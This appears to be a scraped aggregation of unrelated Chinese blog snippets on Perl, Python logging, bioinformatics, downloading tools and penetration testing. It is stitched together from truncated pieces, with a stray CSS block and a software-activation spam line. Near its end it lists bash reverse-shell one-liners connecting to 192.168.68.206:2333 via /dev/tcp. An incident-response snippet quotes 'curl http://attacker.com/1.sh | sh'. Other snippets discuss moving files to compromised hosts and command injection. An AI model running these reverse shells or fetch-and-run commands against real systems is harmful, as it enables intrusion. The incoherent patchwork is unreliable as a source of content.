<>操作符俗称钻石操作符，它是行标准输入<STDIN>的特例，不是从键盘获得数据而是从用户指定的位置读取数据，这里的用户指定位置指运行程序时命令行程序后面紧跟的参数，也即命令行参数。
程序设计语言通常不构成安全风险，风险是由程序员带来的。几乎每种语言都有某些缺陷，这些缺陷在某种程度上可能有助于创建不安全的软件，但软件的整体安全性仍然在很大程度上取决于开发者的安全意识。Perl也有安全“陷阱”，然而大多数Perl程序员并不了解这些陷阱。
一个简单的多的socket http 下载原型 perl
# 包名 use Cow; Cow->speek; # 变量 my $beast = 'Cow'; $beast->speek;
基于perl,使用IO::Select实现，并非多线程。可指定分几部分下载。 基本上没有作异常处理，没有处理redirect,甚至也没有判断对range头的响应是否为206.
在渗透过程中，通常会需要向目标主机传送一些文件，来达到权限提升、权限维持等目的，本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
Perl是一种高效、功能强大的脚本语言，自20世纪80年代以来在系统管理、文本处理和Web开发领域得到了广泛应用。作为一门灵活且成熟的语言，Perl以其简洁的语法、丰富的模块库和强大的正则表达式支持著称。本文将详细介绍Perl的基本概念、语法特点、常用模块以及实战应用，帮助读者快速入门并掌握这门语言。
随着微博成为中国最受欢迎的社交平台之一，其内容已经变得丰富多彩，特别是视频内容吸引了大量用户的关注。然而，尽管用户对微博上的视频内容感兴趣，但却面临着无法直接下载这些视频的难题。本文旨在介绍一个基于Perl的解决方案，以帮助用户轻松地下载微博视频，并深入探讨这一解决方案的实现原理和操作方法。
大概是这样，会讲过长的文档名称压缩，在首行使用 md 一级标签标记文件名，再将文档截断为图示的样子。
log日志一般使用是很方便的，一般使用第二种即可。 详细理解建议仔细阅读第三种写法。 log日志的主要作用有以下两点： 1、错误排查与分析 2、log日志分析，便于编程人员快速了解程序。
零基础，perl语言，10分钟入门 1.Hello,World #!/usr/bin/perl -w print ("hello,world!\n"); #print "hello,world!\n"; 说明： （1）第一行指定解释器，-w参数表示提示警告（或者使用use strict命令，执行更严格的检查）； （2）第二行输出hello, world!； （3）如果习惯c的函数方式，print的参数可以打括号； （4）第三行是注释，注释以#打头； （5）如果习惯shell的方式，print的参数可以没有括
然后仿写了bowtie，对我的编程技术提高非常有帮助。目录如下： 自己动手写bowtie第一讲：BWT算法详解并建立索引 自己动手写bowtie第二讲：优化索引 自己动手写bowtie第三讲：序列查询。 自己动手写bowtie第4讲：笨方法字符串搜索 Bowtie算法第五讲-index2tally Bowtie算法第六讲-tally法对bwt索引进行搜索 首先，什么是BWT，可以参考博客 http://www.cnblogs.com/xudong-bupt/p/3763814.html 他讲的非常好。 一个
因为我本机环境中安装的第三方库太多了，所以今天我准备把它们都卸载了，但因为太多了，所以不可能手动一个一个来，于是我便写了个小脚本，本文就记录这个脚本的作用及使用。
Perl语言入门 /** * prism.js Github theme based on GitHub's theme. * @author Sam Clarke */ code[class*="language-"], pre[class*="language-"] { color: #333; background: none; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; text-align: left; white-space: pre; word-spacing: normal; word-break: normal; word-wrap: normal; line-height: 1.4; -moz-tab-size: 8; -o-tab-size: 8; tab-size: 8; -webkit-hyphens: none; -moz-hyphens: none; -ms-hyphens: none; hyphens: none; } /* Code blocks */ pre[class*="language-"] { padding: .8em; overflow: auto; /* border: 1px solid #ddd; */ border-radius: 3px; /* background: #fff; */ background: #f5f5f5; } /* Inline code */ :not(pre) > code[class*="language-"] { padding: .1em; border-radius: .3em; white-space: normal; background: #f5f5f5; } .token.comment, .token.blockquote { color: #969896; } .token.cdata { color: #183691; } .token.doctype, .token.punctuation, .token.variable, .token.macro.property { color: #333; } .token.operator, .token.important, .token.keyword, .token.rule, .token.builtin { color: #a71d5d; } .token.string, .token.url, .token.regex, .token.attr-value { color: #183691; } .token.property, .token.number, .token.boolean, .token.entity, .token.atrule, .token.constant, .token.symbol, .token.command, .token.code { color: #0086b3; } .token.tag, .token.selector, .token.prolog { color: #63a35c; } .token.function, .token.namespace, .token.pseudo-element, .token.class, .token.class-name, .token.pseudo-class, .token.id, .token.url-reference .token.variable, .token.attr-name { color: #795da3; } .token.entity { cursor: help; } .token.title, .token.title .token.punctuation { font-weight: bold; color: #1d3e81; } .token.list { color: #ed6a43; } .token.inserted { background-color: #eaffea; color: #55a532; } .token.deleted { background-color: #ffecec; color: #bd2c00; } .token.bold { font-weight: bold; } .token.italic { font-style: italic; } /* JSON */ .lan
经过检查，发现这是 Perl 语言一个特性，在运行时使用 -w 或 -T 都意味着 “万无一失” 标志。
在我们的渗透过程中，通常会需要向目标主机传送一些文件，来达到提权，维持控制等目的。
在复现 Apache Solr Velocity 模板注入时，发现了一些问题，因为这些问题即使可以执行命令，也不能进行后续渗透。
生信常用论坛seq-answer里面所有帖子爬取 生信常用论坛bio-star里面所有帖子爬取 这个是爬虫专题第一集，主要讲如何分析bio-star这个网站并爬去所有的帖子列表，及标签列表等等，前提是
为什么会有这个需求呢？很简单，因为国内的一些基因检测公司支持导入23andme的芯片数据做解读，而我正想看看一下他们的技术功底到底如何？ 23andme和wegene都是用的一款特制的芯片，可以捕获基
命令注入或操作系统命令注入是一类注入漏洞，攻击者能够进一步利用未经处理的用户输入在服务器中运行默认的操作系统命令。
这个需求比较少见，主要是因为有很多朋友都做了基因检测芯片数据，而芯片检测的结果只有4列，分别是dbSNP数据库ID号，染色体，坐标，还有基因型。如下： head -100 wegene.txt |tail rs9442387 1 1110586 CCrs191284590 1 1115954 CCrs1320565 1 1119858 TCrs116321663 1 1120377 TTrs11260549 1 1121794 AGrs9729550
0x01 Linux 2.1 Wget 这款工具功能很丰富，可以充当某种功能完备的GUI下载管理器，它拥有一款理想的下载管理器所需要的所有功能，比如它可以恢复下载，可以下载多个文件，出现某个连接问题后，可以重新尝试下载，你甚至可以管理最大的下载带宽。 直接下载： wget http://www.sample-videos.com/video/mp4/big.mp4 后台下载: wget -b http://www.sample-videos.com/video/mp4/big.mp4 如果互联网连接出现
很多程序都有记录日志的需求，并且日志包含的信息有正常的程序访问日志还可能有错误，警告等信息输出，python的logging模块提供了标准的日志接口，可以通过它存储各种格式的日志，日志级别等级:cri
参考博客http://www.cnblogs.com/alex3714/articles/5161349.html
CGI(Common Gateway Interface),通用网关接口,它是一段程序,运行在服务器上如：HTTP服务器，提供同客户端HTML页面的接口。
注：本文仅用于知识分享，请勿用于非法攻击，任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时，大家可能会查看pid以及/proc相关信息，比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令，通过/proc/$pid/exe抓样本等，但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢？最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
CTF挑战靶机是来自hackthebox的“Ghoul”，hackthebox是一个非常不错的在线实验平台。
参考前面的正向shell后写出来的，此处还是要感谢MiaGz大师傅，先写出来一个初始版本，然后再进行改进
-多年互联网运维工作经验，曾负责过大规模集群架构自动化运维管理工作。 -擅长Web集群架构与自动化运维，曾负责国内某大型金融公司运维工作。 -devops项目经理兼DBA。 -开发过一套自动化运维平台（功能如下）： 1)整合了各个公有云API，自主创建云主机。 2)ELK自动化收集日志功能。 3)Saltstack自动化运维统一配置管理工具。 4)Git、Jenkins自动化代码上线及自动化测试平台。 5)堡垒机，连接Linux、Windows平台及日志审计。 6)SQL执行及审批流程。 7)慢查询日志分析web界面。
logging模块 函数式简单配置 import logging logging.debug('debug message') logging.info('info message') logging.warning('warning message') logging.error('error message') logging.critical('critical message') 默认情况下Python的logging模块将日志打印到了标准输出中，且只显示了大于等于WARNIN
#coding: UTF-8 ''' Created on 2014年1月6日 @author: mingliu ''' import logging#导入 mylog = logging.getLogger('mylogger')#申请一个名字 otherlog = logging.getLogger('mylogger')#同一个工程下面全部logger全可以统一根据名字获得，享用相同配置 mylog.setLevel(logging.ERROR)#设置输出级别 fh = logging.FileHandler('test.log')#设置输出信息物理位置（文件） fh.setLevel(logging.DEBUG)#设置handler输出级别 ch = logging.StreamHandler()#设置输出控制台 ch.setLevel(logging.INFO) formatter = logging.Formatter("%(pathname)s-%(module)s - \ %(lineno)d -%(asctime)s - %(name)s - %(levelname)s-%(levelno)s-%(thread)d\n%(message)s")#输出信息格式 fh.setFormatter(formatter) #向handler添加输出格式 ch.setFormatter(formatter) mylog.addHandler(fh)#向logger添加handler mylog.addHandler(ch) if __name__ == '__main__': pass mylog.debug('testDebug') mylog.info('testInfo') mylog.warn('testWarn') mylog.error('testError') otherlog.debug('testDebug') otherlog.info('testInfo') otherlog.warn('testWarn') otherlog.error('testError')
logging模块提供了通用的日志系统，可以采用不同的方式记录日志，比如文件，HTTP、GET/POST，SMTP，Socket等，甚至可以自己实现具体的日志记录方式； 日志分不同提醒级别，级别顺序为：CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET，可以自己定义日志级别。 级别越高打印的日志等级越少，反之亦然。 debug： 打印全部的日志(notset等同于debug) info：打印info、warning、error、critical级别的日志 w
Logging 模块 import logging Quick Start 导入模块后直接logging.waring()，logging.error()简单粗暴地调用即可。默认的level是DEBUG，所以warning会打印出信息，info级别更低，不会输出信息。如果你不知道level等参数的意义请后面解释，淡定，继续往下看。 如果不特别配置，logging模块将日志打印到屏幕上(stdout)。 #!/usr/local/bin/python # -*- coding:utf-8 -*- import
有一段 Python 脚本可以调用 Perl 脚本来解析文件，解析后，Perl 脚本会生成一个输出，这个输出将被加载到 Python 脚本中的 MySQL 数据库中。Python 脚本如下：
Debug Assertion Failed! isatty.cpp Line: 17
小编欢乐豆又放出一个珍藏多年的脚本，2749 行的长度，长到已经难以用 GPT 解读啦，不过用起来还是很方便的！这个 perl 脚本用于将 GenBank 格式的文件转换为 GFF3 格式。
hapmap计划的人群分布结果和千人基因组计划的分布结果来分析是一样的！【直播】我的基因组55：简单的PCA分析千人基因组的人群分布 这两个计划里面收集的样本的种群信息都比较完善，而且每个样本的基因型
大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。 Jetbrains全系列IDE稳定放心使用
在Ruby中，执行shell命令是一件不奇怪的事情，Ruby提供了大概6种方法供开发者进行实现。这些方法都很简单，本文将具体介绍一下如何在Ruby脚本中进行调用终端命令。
1. 获取token package org.fh.util; import org.json.JSONObject; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.util.List; import java.util.Map; /** * 说明：获取百度人脸识别token类
Bash $ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1 $ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196 $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | wh
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python3 日志模块官网说明 python中日志等级从高到低依次为：CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET 默认的日志等级为：WARNING，即在显示日志时，低于WARNING的日志不显示 示例代码：
函数式简单配置 import logging logging.debug('debug message') logging.info('info message') logging.warning('warning message') logging.error('error message') logging.critical('critical message') 默认情况下Python的logging模块将日志打印到了标准输出中，且只显示了大于等于WARNING级别的日志，这说明
这……可能是最简陋的祖源分析了吧，没有之一。 前面我们学习了千人基因组的人群分布情况，也简单的看了看我自己的基因型在那2504个人的距离情况，但是只能定位到我是东亚人，没办法细分人种，是因为我挑的SN
前言 脚本运行的时候，有时候不知道用例的执行情况，这时候可以加入日志，这样出现问题后方便查阅，也容易排查哪些用例执行了，哪些没有执行。 一、封装logging模块 1.关于logging日志的介绍，我这里就不详细讲解了，主要有两大功能，一个是控制台的输出，一个是保存到本地文件 2.先封装logging模块，保存到common文件夹命名为logger.py,以便于调用 # coding:utf-8 import logging,time,os # 这个是日志保存本地的路径 log_path = "D:\\te
先做下名词解释，所谓文本文件，就是指以特定的编码方式构成的数据序列。我们日常办公处理的.txt文件，.csv文件等都是文本文件。在进行网络爬虫、数据分析时，数据通常是文本文件格式，而不是像之前笔记里中的手动输入数据。Python中有一系列专门针对文本文件的操作。
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